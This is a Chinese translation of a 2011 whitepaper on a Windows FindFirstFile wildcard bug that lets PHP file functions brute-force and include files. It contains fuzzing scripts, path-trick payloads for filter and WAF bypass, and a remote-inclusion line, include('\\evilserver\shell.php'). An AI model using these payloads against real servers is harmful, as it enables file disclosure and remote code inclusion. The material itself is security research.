windows的檔案系統機制引發的PHP路徑爆破問題分析_php執行個體

來源:互聯網
上載者:User
1.開場白

此次所披露的是以下網頁中提出的問題所取得的測試結果:
http://code.google.com/p/pasc2at/wiki/SimplifiedChinese

<?phpfor ($i=0; $i<255; $i++) {$url = '1.ph' . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($i) . "\r\n";}?>

已知1.php存在,以上指令碼訪問的結果是:

1.php1.phP1.ph<1.ph>

都能得到返回。
前兩種能返回結果是總所周知的(因為windows的檔案系統支援大小的互轉的機制),另外的兩種返回引起了我們的注意。
測試php版本:PHP4.9,PHP5.2,PHP5.3,PHP6.0
測試系統:WINXP SP3 X32,WINXP SP2 X64,WIN7,WIN2K3
經測試我們得出的結論是:該漏洞影響所有的windows+php版本

2.深入探查模糊測試的結果

為了繼續深入探查關於該bug的資訊,我們對demo做了些許修改:

<?phpfor ($j=0; $i<256; $j++) {for ($i=0; $i<256; $i++) {$url = '1.p' . chr($j) . chr($i);$tmp = @file_get_contents($url);if (!empty($tmp)) echo chr($j) . chr($i) . "\r\n";}}?>

在調試php解譯器的過程中,我們將此“神奇”的漏洞歸結為一個Winapi 函數FindFirstFile()所產生的結果(http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspx).更好玩的是,當跟蹤函數調用棧的過程中我們發現字元”>”被替換成”?”,字元”<”被替換成”*”,而符號”(雙引號)被替換成一個”.”字元。這在2007年msdn公開的文檔中被提及:http://msdn.microsoft.com/en-us/library/community/history/aa364418%28v=vs.85%29.aspx?id=3
但是此bug至今未被任何windows旗下所發行的任何版本修複!
我們要闡明的是,該函數FindFirstFile()在php下的運用遠遠不至於file_get_contents().關於該bug可以利用的函數我們已經列了如下一表:



此外,我們還發現該利用也可以被運用到c++中,以下採用來自msdn的例子:

#include #include #include void _tmain(int argc, TCHAR *argv[]){WIN32_FIND_DATA FindFileData;HANDLE hFind;if( argc != 2 ){_tprintf(TEXT("Usage: %s [target_file]\n"), argv[0]);return;}_tprintf (TEXT("Target file is %s\n"), argv[1]);hFind = FindFirstFile(argv[1], &FindFileData);if (hFind == INVALID_HANDLE_VALUE){printf ("FindFirstFile failed (%d)\n", GetLastError());return;}else{_tprintf (TEXT("The first file found is %s\n"),FindFileData.cFileName);FindClose(hFind);}}

當傳入參數”c:\bo<”時,成功訪問到boot.ini檔案。

3.利用方法總結

當調用FindFirstFile()函數時,”<”被替換成”*”,這意味該規則可以使”<”替換多個任一字元,但是測試中發現並不是所有情況都如我們所願。所以,為了確保能夠使”<”被替換成”*”,應當採用”<<”
EXAMPLE:include(‘shell<'); 或者include(‘shell<<'); //當檔案夾中超過一個以shell打頭的檔案時,該執行取按字母表排序後的第一個檔案。
當調用FindFirstFile()函數時,”>”被替換成”?”,這意味這”>”可以替換單個任一字元
EXAMPLE:include(‘shell.p>p'); //當檔案中超過一個以shell.p?p 通配時,該執行取按字母表排序後的第一個檔案。
當調用FindFirstFile()函數時,”””(雙引號)被替換成”.”
EXAMPLE:include(‘shell”php'); //===>include(‘shell.php');
如果檔案名稱第一個字元是”.”的話,讀取時可以忽略之
EXAMPLE:fopen(‘.htacess'); //==>fopen(‘htacess'); //加上第一點中的利用 ==>fopen(‘h<<');
檔案名稱末尾可以加上一系列的/或者\的合集,你也可以在/或者\中間加上.字元,只要確保最後一位為”.”
EXAMPLE:fopen(“config.ini\\.// \/\/\/.”);==> fopen(‘config.ini\./.\.'); ==>fopen(‘config.ini/////.')==>fopen(‘config.ini…..') //譯者註:此處的利用我不是很理解,有何作用?截斷?
該函數也可以調用以”\\”打頭的網際網路共用檔案,當然這會耗費不短的時間。補充一點,如果共用名稱不存在時,該檔案操作將會額外耗費4秒鐘的時間,並可能觸發時間響應機制以及max_execution_time拋錯。所幸的是,該利用可以用來繞過allow_url_fopen=Off 並最終導致一個RFI(遠程檔案包含)
EXAMPLE:include (‘\\evilserver\shell.php');
用以下方法還可以切換檔案的盤名
include(‘\\.\C:\my\file.php\..\..\..\D:\anotherfile.php');
選擇磁碟命名文法可以用來繞過斜線字元過濾
file_get_contents(‘C:boot.ini'); //==> file_get_contents (‘C:/boot.ini');
在php的命令列環境下(php.exe),關於系統保留名檔案的利用細節
EXAMPLE:file_get_contents(‘C:/tmp/con.jpg'); //此舉將會無休無止地從CON裝置讀取0位元組,直到遇到eof
EXAMPLE:file_put_contents(‘C:/tmp/con.jpg',chr(0×07)); //此舉將會不斷地使伺服器發出類似嗶嗶的聲音

4.更深入的利用方法

除了以上已經展示的方法,你可以用下面的姿勢來繞過WAF或者檔案名稱過濾
請思考該例:

<?phpfile_get_contents("/images/".$_GET['a'].".jpg");//or another function from Table 1, i.e. include().?>

訪問test.php?a=../a<%00
可能出現兩種結果

Warning: include(/images/../a<) [function.include]: failed to open stream:Invalid argument in。。。Warning: include(/images/../a<) [function.include]: failed to open stream:Permission denied。。

如果是第一種情況,說明不存在a打頭的檔案,第二種則存在。

此外,有記錄顯示,有時網站會拋出如下錯誤:

Warning: include(/admin_h1d3) [function.include]: failed to open stream: Permission denied..

這說明該檔案夾下存在一個以上以a打頭的檔案(夾),並且第一個就是admin_h1d3。

5.結論
實驗告訴我們,php本身沒有那麼多的漏洞,我們所看到是:過分的依賴於另一種程式語言(註:如文中的漏洞產自與winapi的一個BUG),並且直接強 制使用,將會導致細微的錯誤(bug),並最終造成危害(vul).這樣便拓寬了模糊測試的範疇(譯者註:並不僅僅去研究web層面,而深入到系統底層),並最終導致IDS,IPS的規則更新。誠然,代碼需要保護,需要補丁,需要升級與擴充。但是,這並不是我們真正要去關注的問題。在當下,我認為我們 更謹慎地去書寫更多更嚴厲的過濾規則,正如我們一直在做的一樣。任重道遠,精益求精。
因為這是基礎應用程式層的問題,所以我們猜想類似的問題可能出現在其他web應用中。於是我們還測試了mysql5,而實驗結果表明,mysql5並不存在類似的漏洞。但是我們仍認為:類似的漏洞將會出現在諸如Perl、Python、Ruby等解釋性語言上。

6.Referer

PHP application source code audits advanced technology:http://code.google.com/p/pasc2at/wiki/SimplifiedChineseMSDN FindFirstFile Function reference:http://msdn.microsoft.com/en-us/library/aa364418(v=vs.85).aspxMSDN comments history:http://msdn.microsoft.com/en-us/library/community/history/aa364418(v=vs.85).aspx?id=3MSDN article «Naming Files, Paths, and Namespaces»:http://msdn.microsoft.com/en-us/library/aa365247(v=vs.85).aspxTechnet article «Managing Files and Directories»:http://technet.microsoft.com/en-us/library/cc722482.aspxPaper «Technique of quick exploitation of 2blind SQL Injection»:http://www.exploit-db.com/papers/13696/

==================================================================
全文完。
註:該文是2011年底發表的一篇白皮書,至今該bug依然存在。我在幾個月前做CUIT的一個CTF時偶遇了一道該bug的利用,當時便是看的此文,當時只是粗粗讀了一下,寫了一個php的指令碼去跑目錄。今回閑來無事,翻譯整理了一番。

  • 相關文章

    聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.